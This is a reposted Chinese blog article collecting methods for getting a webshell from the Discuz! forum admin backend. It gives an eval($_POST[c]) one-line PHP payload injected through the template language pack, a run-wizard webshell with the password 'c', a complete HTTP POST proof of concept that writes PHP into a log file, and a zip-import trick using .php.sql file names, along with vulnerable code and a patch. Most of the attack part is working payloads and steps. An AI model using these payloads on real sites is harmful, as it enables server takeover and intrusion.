Chinaunix首页 | 论坛 | 博客
  • 博客访问: 4157592
  • 博文数量: 601
  • 博客积分: 15410
  • 博客等级: 上将
  • 技术积分: 6884
  • 用 户 组: 普通用户
  • 注册时间: 2007-05-16 08:11
个人简介

独学而无友,则孤陋而寡闻!

文章分类

全部博文(601)

文章存档

2020年(1)

2018年(4)

2017年(7)

2016年(42)

2015年(25)

2014年(15)

2013年(36)

2012年(46)

2011年(117)

2010年(148)

2009年(82)

2008年(37)

2007年(41)

分类:

2010-05-15 17:13:25

编辑模板得到webshell

来源:Safe Code Team
作者:tenzy
 

用论坛创始人账号登陆后台,
进入【版块】-【模板管理】,
在【默认模板】后面点击【详情】,在【Discuz!语言包】下面点击【actions】后的【编辑】,拉到最后面,在【guest】里面把【游客】修改 为

游客\\\\\\\\');eval($_POST[c]);echo (""//
如图:

点提交后,
http://论坛地址/templates/default/actions.lang.php 为PHP一句话地址。
 

后台设置插入webshell

来源:陆羽's blog

用论坛创始人账号登陆后台

admincp.php?action=runwizard&frames=yes 点击下一步然后在论坛名称的地方插入webshell

后台webshell地址:bbs/forumdata/logs/runwizardlog.php

密码c


详细说明
来源:

Discuz! admin\runwizard.inc.php get-webshell bug

author: 80vul-A
team:http://

由于Discuz!的admin\runwizard.inc.php里saverunwizardhistory()写文件操作没有限制导致执行 代码漏洞.

一 分析

在文件admin\runwizard.inc.php里代码:

  1. $runwizardhistory = array();  
  2. $runwizardfile = DISCUZ_ROOT.'./forumdata/logs/runwizardlog.php';  
  3. if($fp = @fopen($runwizardfile, 'r')) {  
  4. $runwizardhistory = @unserialize(fread($fp, 99999));  
  5. fclose($fp);  
  6. }  
  7.  
  8. .......  
  9.  
  10. if(submitcheck('step1submit')) {  
  11. $runwizardhistory['step1']['size'] = $size;  
  12. $runwizardhistory['step1']['safe'] = $safe;  
  13. $runwizardhistory['step1']['func'] = $func;  
  14. saverunwizardhistory();  
  15. }  
  16. ........  
  17.  
  18. function saverunwizardhistory() {  
  19. global $runwizardfile, $runwizardhistory;  
  20. $fp = fopen($runwizardfile, 'w');  
  21. fwrite($fp, serialize($runwizardhistory));  
  22. fclose($fp);  
  23. }  
  24.  

上面代码可以看出来当有后台权限时,可以直接得到webshell.如果结合xss[如:SODB-2008-01,SODB-2008-02.. 等] crsf[如:SODB-2008-03]等漏洞,可以直接通过admin身份远程写入webshell执行代码.

二 利用

         poc:

  1. POST /bbs/admincp.php?action=runwizard&step=3 HTTP/1.1  
  2. Host:   
  3. User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3  
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
  5. Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7  
  6. Keep-Alive: 300  
  7. Connection: keep-alive  
  8. Referer: http:///bbs/admincp.php?action=runwizard&step=2 
  9. Cookie:   
  10. Content-Type: application/x-www-form-urlencoded  
  11. Content-Length: 207  
  12.  
  13. formhash=a1ae055f&anchor=&settingsnew%5Bbbname%5D=%3C%3Fphpinfo%28%29%3B%3F%3E&settingsnew%5Bsitename%5D=Comsenz+Inc.&settingsnew%5Bsiteurl%5D=http%3A%2F%2F%2F&step2submit=%CF%C2%D2%BB%B2%BD  
  14.  

webshell:

http:///bbs/forumdata/logs/runwizardlog.php

三 补丁[fix]

今天发布的dz7 bt版本[1]已经fix这个漏洞了:

  1. function saverunwizardhistory() {  
  2. global $runwizardfile, $runwizardhistory;  
  3. $fp = fopen($runwizardfile, 'w');  
  4. $s = '';  
  5. $s .serialize($runwizardhistory);  
  6. fwrite($fp, $s);  
  7. fclose($fp);  
  8. }  
  9.  

[1]:http://download.comsenz.com/Discuz/7.0.0Beta/Discuz_7_Beta_SC_GBK.zip

 

Discuz!的admin\database.inc.php里action=importzip解压zip文件时,导致可以得 到webshell.

来源:

Discuz! admin\database.inc.php get-webshell bug

author: ring04h
team:http://

[该漏洞由ring04h发现并且投递,thx]
由于Discuz!的admin\database.inc.php里action=importzip解压zip文件时,导致可以得到 webshell.

一 分析

在文件admin\database.inc.php里代码:

  1. .....  
  2. elseif($operation == 'importzip') {  
  3.  
  4. require_once DISCUZ_ROOT.'admin/zip.func.php';  
  5. $unzip = new SimpleUnzip();  
  6. $unzip->ReadFile($datafile_server);  
  7. if($unzip->Count() == 0 || $unzip->GetError(0) != 0 || !preg_match("/\.sql$/i", $importfile = $unzip->GetName(0))) {  
  8. cpmsg('database_import_file_illegal''''error');  
  9. }  
  10.  
  11. $identify = explode(',', base64_decode(preg_replace("/^# Identify:\s*(\w+).*/s""\\1", substr($unzip->GetData(0), 0, 256))));  
  12. $confirm = !empty($confirm) ? 1 : 0;  
  13. if(!$confirm && $identify[1] != $version) {  
  14. cpmsg('database_import_confirm''admincp.php?action=database&operation=importzip&datafile_server=$datafile_server&importsubmit=yes&confirm=yes''form');  
  15. }  
  16.  
  17. $sqlfilecount = 0;  
  18. foreach($unzip->Entries as $entry) {  
  19. if(preg_match("/\.sql$/i", $entry->Name)) {  
  20. $fp = fopen('./forumdata/'.$backupdir.'/'.$entry->Name'w');  
  21. fwrite($fp, $entry->Data);  
  22. fclose($fp);  
  23. $sqlfilecount++;  
  24. }  
  25. }  
  26. ......  
  27.  

注意2点
1. preg_match("/\.sql$/i", $importfile = $unzip->GetName(0)) 可以利用apache的特性如081127_k4pFUs3C-1.php.sql这样类似的文件.
2. $identify = explode(',', base64_decode(preg_replace("/^# Identify:\s*(\w+).*/s", "\\1", substr($unzip->GetData(0), 0, 256)))); 所以要注意文件格式:[可以先备用下然后修改打包为zip]

# Identify: MTIyNzc1NzEyNSw2LjEuMCxkaXNjdXosbXVsdGl2b2wsMQ==
#
#
# Discuz! Multi-Volume Data Dump Vol.1
# Version: Discuz! 6.1.0
# Time: 2008-11-27 11:38
# Type: discuz
# Table Prefix: cdb_

二 利用

用论坛创始人账号登陆后台

提交:

<6.0 :admincp.php?action=importzip&datafile_server=./附件路径/附件名.zip& importsubmit=yes
=6.1 :admincp.php?action=database&operation=importzip& datafile_server=./附件路径/附件名称.zip&importsubmit=yes&frames=yes
阅读(5709) | 评论(0) | 转发(0) |
0

上一篇:php笔记

下一篇:跨站脚本攻击(XSS)FAQ

给主人留下些什么吧!~~